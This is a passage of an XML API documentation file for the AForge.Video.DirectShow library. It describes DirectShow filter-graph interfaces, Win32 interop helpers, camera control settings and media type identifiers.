<returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IMediaFilter\">\n            <summary>\n            The interface provides methods for controlling the flow of data through the filter graph.\n            It includes methods for running, pausing, and stopping the graph.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaFilter.Stop\">\n            <summary>\n            This method informs the filter to transition to the new state. \n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaFilter.Pause\">\n            <summary>\n            This method informs the filter to transition to the new state. \n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaFilter.Run(System.Int64)\">\n            <summary>\n            This method informs the filter to transition to the new (running) state. Passes a time value to synchronize independent streams. \n            </summary>\n            \n            <param name=\"tStart\">Time value of the reference clock.  The amount to be added to the IMediaSample  time stamp to determine the time at which that sample should be rendered according to the reference clock. That is, it is the reference time at which a sample with a stream time of zero should be rendered.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaFilter.GetState(System.Int32,AForge.Video.DirectShow.Internals.FilterState@)\">\n            <summary>\n            This method determines the filter's state. \n            </summary>\n            \n            <param name=\"dwMilliSecsTimeout\">Duration of the time-out, in milliseconds. To block indefinitely, pass INFINITE. </param>\n            <param name=\"filtState\">Returned state of the filter. States include stopped, paused, running, or intermediate (in the process of changing). </param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaFilter.SetSyncSource(AForge.Video.DirectShow.Internals.IReferenceClock)\">\n            <summary>\n            This method identifies the reference clock to which the filter should synchronize activity.\n            </summary>\n            \n            <param name=\"pClock\">Pointer to the IReferenceClock  interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaFilter.GetSyncSource(AForge.Video.DirectShow.Internals.IReferenceClock@)\">\n            <summary>\n            This method retrieves the current reference clock in use by this filter. \n            </summary>\n            \n            <param name=\"pClock\">Pointer to a reference clock; it will be set to the IReferenceClock  interface. </param>\n            \n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IMediaControl\">\n            <summary>\n            The interface provides methods for controlling the flow of data through the filter graph.\n            It includes methods for running, pausing, and stopping the graph.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaControl.Run\">\n            <summary>\n            Runs all the filters in the filter graph.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaControl.Pause\">\n            <summary>\n            Pauses all filters in the filter graph.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaControl.Stop\">\n            <summary>\n            Stops all the filters in the filter graph.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaControl.GetState(System.Int32,System.Int32@)\">\n            <summary>\n            Retrieves the state of the filter graph.\n            </summary>\n            \n            <param name=\"timeout\">Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out.</param>\n            <param name=\"filterState\">Мariable that receives a member of the <b>FILTER_STATE</b> enumeration.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaControl.RenderFile(System.String)\">\n            <summary>\n            Builds a filter graph that renders the specified file.\n            </summary>\n            \n            <param name=\"fileName\">Name of the file to render</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaControl.AddSourceFilter(System.String,System.Object@)\">\n            <summary>\n            Adds a source filter to the filter graph, for a specified file.\n            </summary>\n            \n            <param name=\"fileName\">Name of the file containing the source video.</param>\n            <param name=\"filterInfo\">Receives interface of filter information object.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaControl.get_FilterCollection(System.Object@)\">\n            <summary>\n            Retrieves a collection of the filters in the filter graph.\n            </summary>\n            \n            <param name=\"collection\">Receives the <b>IAMCollection</b> interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaControl.get_RegFilterCollection(System.Object@)\">\n            <summary>\n            Retrieves a collection of all the filters listed in the registry.\n            </summary>\n            \n            <param name=\"collection\">Receives the <b>IDispatch</b> interface of <b>IAMCollection</b> object.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaControl.StopWhenReady\">\n            <summary>\n            Pauses the filter graph, allowing filters to queue data, and then stops the filter graph.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IFilterGraph2\">\n            <summary>\n            This interface extends the <see cref=\"T:AForge.Video.DirectShow.Internals.IFilterGraph\"/> and <see cref=\"T:AForge.Video.DirectShow.Internals.IGraphBuilder\"/>\n            interfaces, which contain methods for building filter graphs.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.AddFilter(AForge.Video.DirectShow.Internals.IBaseFilter,System.String)\">\n            <summary>\n            Adds a filter to the graph and gives it a name.\n            </summary>\n            \n            <param name=\"filter\">Filter to add to the graph.</param>\n            <param name=\"name\">Name of the filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.RemoveFilter(AForge.Video.DirectShow.Internals.IBaseFilter)\">\n            <summary>\n            Removes a filter from the graph.\n            </summary>\n            \n            <param name=\"filter\">Filter to be removed from the graph.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.EnumFilters(AForge.Video.DirectShow.Internals.IEnumFilters@)\">\n            <summary>\n            Provides an enumerator for all filters in the graph.\n            </summary>\n            \n            <param name=\"enumerator\">Filter enumerator.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.FindFilterByName(System.String,AForge.Video.DirectShow.Internals.IBaseFilter@)\">\n            <summary>\n            Finds a filter that was added with a specified name.\n            </summary>\n            \n            <param name=\"name\">Name of filter to search for.</param>\n            <param name=\"filter\">Interface of found filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.ConnectDirect(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Connects two pins directly (without intervening filters).\n            </summary>\n            \n            <param name=\"pinOut\">Output pin.</param>\n            <param name=\"pinIn\">Input pin.</param>\n            <param name=\"mediaType\">Media type to use for the connection.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.Reconnect(AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Breaks the existing pin connection and reconnects it to the same pin.\n            </summary>\n            \n            <param name=\"pin\">Pin to disconnect and reconnect.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.Disconnect(AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Disconnects a specified pin.\n            </summary>\n            \n            <param name=\"pin\">Pin to disconnect.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.SetDefaultSyncSource\">\n            <summary>\n            Sets the reference clock to the default clock.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.Connect(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Connects two pins. If they will not connect directly, this method connects them with intervening transforms.\n            </summary>\n            \n            <param name=\"pinOut\">Output pin.</param>\n            <param name=\"pinIn\">Input pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.Render(AForge.Video.DirectShow.Internals.IPin)\">\n            <summary>\n            Adds a chain of filters to a specified output pin to render it.\n            </summary>\n            \n            <param name=\"pinOut\">Output pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.RenderFile(System.String,System.String)\">\n            <summary>\n            Builds a filter graph that renders the specified file.\n            </summary>\n            \n            <param name=\"file\">Specifies a string that contains file name or device moniker.</param>\n            <param name=\"playList\">Reserved.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.AddSourceFilter(System.String,System.String,AForge.Video.DirectShow.Internals.IBaseFilter@)\">\n            <summary>\n            Adds a source filter to the filter graph for a specific file.\n            </summary>\n            \n            <param name=\"fileName\">Specifies the name of the file to load.</param>\n            <param name=\"filterName\">Specifies a name for the source filter.</param>\n            <param name=\"filter\">Variable that receives the interface of the source filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.SetLogFile(System.IntPtr)\">\n            <summary>\n            Sets the file for logging actions taken when attempting to perform an operation.\n            </summary>\n            \n            <param name=\"hFile\">Handle to the log file.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.Abort\">\n            <summary>\n            Requests that the graph builder return as soon as possible from its current task.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.ShouldOperationContinue\">\n            <summary>\n            Queries whether the current operation should continue.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.AddSourceFilterForMoniker(System.Runtime.InteropServices.ComTypes.IMoniker,System.Runtime.InteropServices.ComTypes.IBindCtx,System.String,AForge.Video.DirectShow.Internals.IBaseFilter@)\">\n            <summary>\n            \n            </summary>\n            \n            <param name=\"moniker\">Moniker interface.</param>\n            <param name=\"bindContext\">Bind context interface.</param>\n            <param name=\"filterName\">Name for the filter.</param>\n            <param name=\"filter\"> Receives source filter's IBaseFilter interface.\n            The caller must release the interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.ReconnectEx(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Breaks the existing pin connection and reconnects it to the same pin,\n            using a specified media type.\n            </summary>\n            \n            <param name=\"pin\">Pin to disconnect and reconnect.</param>\n            <param name=\"mediaType\">Media type to reconnect with.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IFilterGraph2.RenderEx(AForge.Video.DirectShow.Internals.IPin,System.Int32,System.IntPtr)\">\n            <summary>\n            Render an output pin, with an option to use existing renderers only.\n            </summary>\n            \n            <param name=\"outputPin\">Interface of the output pin.</param>\n            <param name=\"flags\">Flag that specifies how to render the pin.</param>\n            <param name=\"context\">Reserved.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IEnumFilters\">\n            <summary>\n            This interface is used by applications or other filters to determine\n            what filters exist in the filter graph.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IEnumFilters.Next(System.Int32,AForge.Video.DirectShow.Internals.IBaseFilter[],System.Int32@)\">\n            <summary>\n            Retrieves the specified number of filters in the enumeration sequence.\n            </summary>\n            \n            <param name=\"cFilters\">Number of filters to retrieve.</param>\n            <param name=\"filters\">Array in which to place <see cref=\"T:AForge.Video.DirectShow.Internals.IBaseFilter\"/> interfaces.</param>\n            <param name=\"filtersFetched\">Actual number of filters placed in the array.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IEnumFilters.Skip(System.Int32)\">\n            <summary>\n            Skips a specified number of filters in the enumeration sequence.\n            </summary>\n            \n            <param name=\"cFilters\">Number of filters to skip.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IEnumFilters.Reset\">\n            <summary>\n            Resets the enumeration sequence to the beginning.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IEnumFilters.Clone(AForge.Video.DirectShow.Internals.IEnumFilters@)\">\n            <summary>\n            Makes a copy of the enumerator with the same enumeration state.\n            </summary>\n            \n            <param name=\"enumFilters\">Duplicate of the enumerator.</param>\n            \n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.ICreateDevEnum\">\n            <summary>\n            The <b>ICreateDevEnum</b> interface creates an enumerator for devices within a particular category,\n            such as video capture devices, audio capture devices, video compressors, and so forth.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.ICreateDevEnum.CreateClassEnumerator(System.Guid@,System.Runtime.InteropServices.ComTypes.IEnumMoniker@,System.Int32)\">\n            <summary>\n            Creates a class enumerator for a specified device category.\n            </summary>\n            \n            <param name=\"type\">Specifies the class identifier of the device category.</param>\n            <param name=\"enumMoniker\">Address of a variable that receives an <b>IEnumMoniker</b> interface pointer</param>\n            <param name=\"flags\">Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.Win32\">\n            <summary>\n            Some Win32 API used internally.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.Win32.CreateBindCtx(System.Int32,System.Runtime.InteropServices.ComTypes.IBindCtx@)\">\n            <summary>\n            Supplies a pointer to an implementation of <b>IBindCtx</b> (a bind context object).\n            This object stores information about a particular moniker-binding operation.\n            </summary>\n            \n            <param name=\"reserved\">Reserved for future use; must be zero.</param>\n            <param name=\"ppbc\">Address of <b>IBindCtx*</b> pointer variable that receives the\n            interface pointer to the new bind context object.</param>\n            \n            <returns>Returns <b>S_OK</b> on success.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.Win32.MkParseDisplayName(System.Runtime.InteropServices.ComTypes.IBindCtx,System.String,System.Int32@,System.Runtime.InteropServices.ComTypes.IMoniker@)\">\n            <summary>\n            Converts a string into a moniker that identifies the object named by the string.\n            </summary>\n            \n            <param name=\"pbc\">Pointer to the IBindCtx interface on the bind context object to be used in this binding operation.</param>\n            <param name=\"szUserName\">Pointer to a zero-terminated wide character string containing the display name to be parsed. </param>\n            <param name=\"pchEaten\">Pointer to the number of characters of szUserName that were consumed.</param>\n            <param name=\"ppmk\">Address of <b>IMoniker*</b> pointer variable that receives the interface pointer\n            to the moniker that was built from <b>szUserName</b>.</param>\n            \n            <returns>Returns <b>S_OK</b> on success.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.Win32.memcpy(System.Byte*,System.Byte*,System.Int32)\">\n            <summary>\n            Copy a block of memory.\n            </summary>\n            \n            <param name=\"dst\">Destination pointer.</param>\n            <param name=\"src\">Source pointer.</param>\n            <param name=\"count\">Memory block's length to copy.</param>\n            \n            <returns>Return's the value of <b>dst</b> - pointer to destination.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.Win32.OleCreatePropertyFrame(System.IntPtr,System.Int32,System.Int32,System.String,System.Int32,System.Object@,System.Int32,System.IntPtr,System.Int32,System.Int32,System.IntPtr)\">\n            <summary>\n            Invokes a new property frame, that is, a property sheet dialog box.\n            </summary>\n            \n            <param name=\"hwndOwner\">Parent window of property sheet dialog box.</param>\n            <param name=\"x\">Horizontal position for dialog box.</param>\n            <param name=\"y\">Vertical position for dialog box.</param>\n            <param name=\"caption\">Dialog box caption.</param>\n            <param name=\"cObjects\">Number of object pointers in <b>ppUnk</b>.</param>\n            <param name=\"ppUnk\">Pointer to the objects for property sheet.</param>\n            <param name=\"cPages\">Number of property pages in <b>lpPageClsID</b>.</param>\n            <param name=\"lpPageClsID\">Array of CLSIDs for each property page.</param>\n            <param name=\"lcid\">Locale identifier for property sheet locale.</param>\n            <param name=\"dwReserved\">Reserved.</param>\n            <param name=\"lpvReserved\">Reserved.</param>\n            \n            <returns>Returns <b>S_OK</b> on success.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.CameraControlProperty\">\n            <summary>\n            The enumeration specifies a setting on a camera.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlProperty.Pan\">\n            <summary>\n            Pan control.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlProperty.Tilt\">\n            <summary>\n            Tilt control.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlProperty.Roll\">\n            <summary>\n            Roll control.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlProperty.Zoom\">\n            <summary>\n            Zoom control.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlProperty.Exposure\">\n            <summary>\n            Exposure control.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlProperty.Iris\">\n            <summary>\n            Iris control.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlProperty.Focus\">\n            <summary>\n            Focus control.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.CameraControlFlags\">\n            <summary>\n            The enumeration defines whether a camera setting is controlled manually or automatically.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlFlags.None\">\n            <summary>\n            No control flag.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlFlags.Auto\">\n            <summary>\n            Auto control Flag.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.CameraControlFlags.Manual\">\n            <summary>\n            Manual control Flag.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.VideoInput\">\n            <summary>\n            Video input of a capture board.\n            </summary>\n            \n            <remarks><para>The class is used to describe video input of devices like video capture boards,\n            which usually provide several inputs.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.VideoInput.Index\">\n            <summary>\n            Index of the video input.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.VideoInput.Type\">\n            <summary>\n            Type of the video input.\n            </summary>\n        </member>\n        <member name=\"P:AForge.Video.DirectShow.VideoInput.Default\">\n            <summary>\n            Default video input. Used to specify that it should not be changed.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.FilterInfo\">\n            <summary>\n            DirectShow filter information.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FilterInfo.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.DirectShow.FilterInfo\"/> class.\n            </summary>\n            \n            <param name=\"monikerString\">Filters's moniker string.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FilterInfo.#ctor(System.Runtime.InteropServices.ComTypes.IMoniker)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.DirectShow.FilterInfo\"/> class.\n            </summary>\n            \n            <param name=\"moniker\">Filter's moniker object.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FilterInfo.CompareTo(System.Object)\">\n            <summary>\n            Compare the object with another instance of this class.\n            </summary>\n            \n            <param name=\"value\">Object to compare with.</param>\n            \n            <returns>A signed number indicating the relative values of this instance and <b>value</b>.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FilterInfo.CreateFilter(System.String)\">\n            <summary>\n            Create an instance of the filter.\n            </summary>\n            \n            <param name=\"filterMoniker\">Filter's moniker string.</param>\n            \n            <returns>Returns filter's object, which implements <b>IBaseFilter</b> interface.</returns>\n            \n            <remarks>The returned filter's object should be released using <b>Marshal.ReleaseComObject()</b>.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.FilterInfo.Name\">\n            <summary>\n            Filter name.\n            </summary>\n        </member>\n        <member name=\"P:AForge.Video.DirectShow.FilterInfo.MonikerString\">\n            <summary>\n            Filters's moniker string.\n            </summary>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.Clsid\">\n            <summary>\n            DirectShow class IDs.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.Clsid.SystemDeviceEnum\">\n            <summary>\n            System device enumerator.\n            </summary>\n            \n            <remarks>Equals to CLSID_SystemDeviceEnum.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.Clsid.FilterGraph\">\n            <summary>\n            Filter graph.\n            </summary>\n            \n            <remarks>Equals to CLSID_FilterGraph.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.Clsid.SampleGrabber\">\n            <summary>\n            Sample grabber.\n            </summary>\n            \n            <remarks>Equals to CLSID_SampleGrabber.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.Clsid.CaptureGraphBuilder2\">\n            <summary>\n            Capture graph builder.\n            </summary>\n            \n            <remarks>Equals to CLSID_CaptureGraphBuilder2.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.Clsid.AsyncReader\">\n            <summary>\n            Async reader.\n            </summary>\n            \n            <remarks>Equals to CLSID_AsyncReader.</remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.FormatType\">\n            <summary>\n            DirectShow format types.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.FormatType.VideoInfo\">\n            <summary>\n            VideoInfo.\n            </summary>\n            \n            <remarks>Equals to FORMAT_VideoInfo.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.FormatType.VideoInfo2\">\n            <summary>\n            VideoInfo2.\n            </summary>\n            \n            <remarks>Equals to FORMAT_VideoInfo2.</remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.MediaType\">\n            <summary>\n            DirectShow media types.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaType.Video\">\n            <summary>\n            Video.\n            </summary>\n            \n            <remarks>Equals to MEDIATYPE_Video.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaType.Interleaved\">\n            <summary>\n            Interleaved. Used by Digital Video (DV).\n            </summary>\n            \n            <remarks>Equals to MEDIATYPE_Interleaved.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaType.Audio\">\n            <summary>\n            Audio.\n            </summary>\n            \n            <remarks>Equals to MEDIATYPE_Audio.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaType.Text\">\n            <summary>\n            Text.\n            </summary>\n            \n            <remarks>Equals to MEDIATYPE_Text.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaType.Stream\">\n            <summary>\n            Byte stream with no time stamps.\n            </summary>\n            \n            <remarks>Equals to MEDIATYPE_Stream.</remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.MediaSubType\">\n            <summary>\n            DirectShow media subtypes.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.YUYV\">\n            <summary>\n            YUY2 (packed 4:2:2).\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_YUYV.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.IYUV\">\n            <summary>\n            IYUV.\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_IYUV.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.DVSD\">\n            <summary>\n            A DV encoding format. (FOURCC 'DVSD')\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_DVSD.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.RGB1\">\n            <summary>\n            RGB, 1 bit per pixel (bpp), palettized.\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_RGB1.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.RGB4\">\n            <summary>\n            RGB, 4 bpp, palettized.\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_RGB4.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.RGB8\">\n            <summary>\n            RGB, 8 bpp.\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_RGB8.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.RGB565\">\n            <summary>\n            RGB 565, 16 bpp.\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_RGB565.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.RGB555\">\n            <summary>\n            RGB 555, 16 bpp.\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_RGB555.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.RGB24\">\n            <summary>\n            RGB, 24 bpp.\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_RGB24.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.RGB32\">\n            <summary>\n            RGB, 32 bpp, no alpha channel.\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_RGB32.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.Avi\">\n            <summary>\n            Data from AVI file.\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_Avi.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.MediaSubType.Asf\">\n            <summary>\n            Advanced Streaming Format (ASF).\n            </summary>\n            \n            <remarks>Equals to MEDIASUBTYPE_Asf.</remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.PinCategory\">\n            <summary>\n            DirectShow pin categories.\n            </summary>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.PinCategory.Capture\">\n            <summary>\n            Capture pin.\n            </summary>\n            \n            <remarks>Equals to PIN_CATEGORY_CAPTURE.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.PinCategory.StillImage\">\n            <summary>\n            Still image pin.\n            </summary>\n            \n            <remarks>Equals to PIN_CATEGORY_STILL.</remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.FindDirection.UpstreamOnly\">\n            <summary>Equals to LOOK_UPSTREAM_ONLY.</summary>\n        </member>\n        <member name=\"F:AForge.Video.DirectShow.Internals.FindDirection.DownstreamOnly\">\n            <summary>Equals to LOOK_DOWNSTREAM_ONLY.</summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IReferenceClock\">\n             <summary>\n             The IReferenceClock interface provides the reference time for the filter graph.\n            \n             Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. \n             The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to \n             retrieve the current reference time, or to request notification of an elapsed time.\n             </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IReferenceClock.GetTime(System.Int64@)\">\n            <summary>\n            The GetTime method retrieves the current reference time.\n            </summary>\n            \n            <param name=\"pTime\">Pointer to a variable that receives the current time, in 100-nanosecond units.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IReferenceClock.AdviseTime(System.Int64,System.Int64,System.IntPtr,System.Int32@)\">\n            <summary>\n            The AdviseTime method creates a one-shot 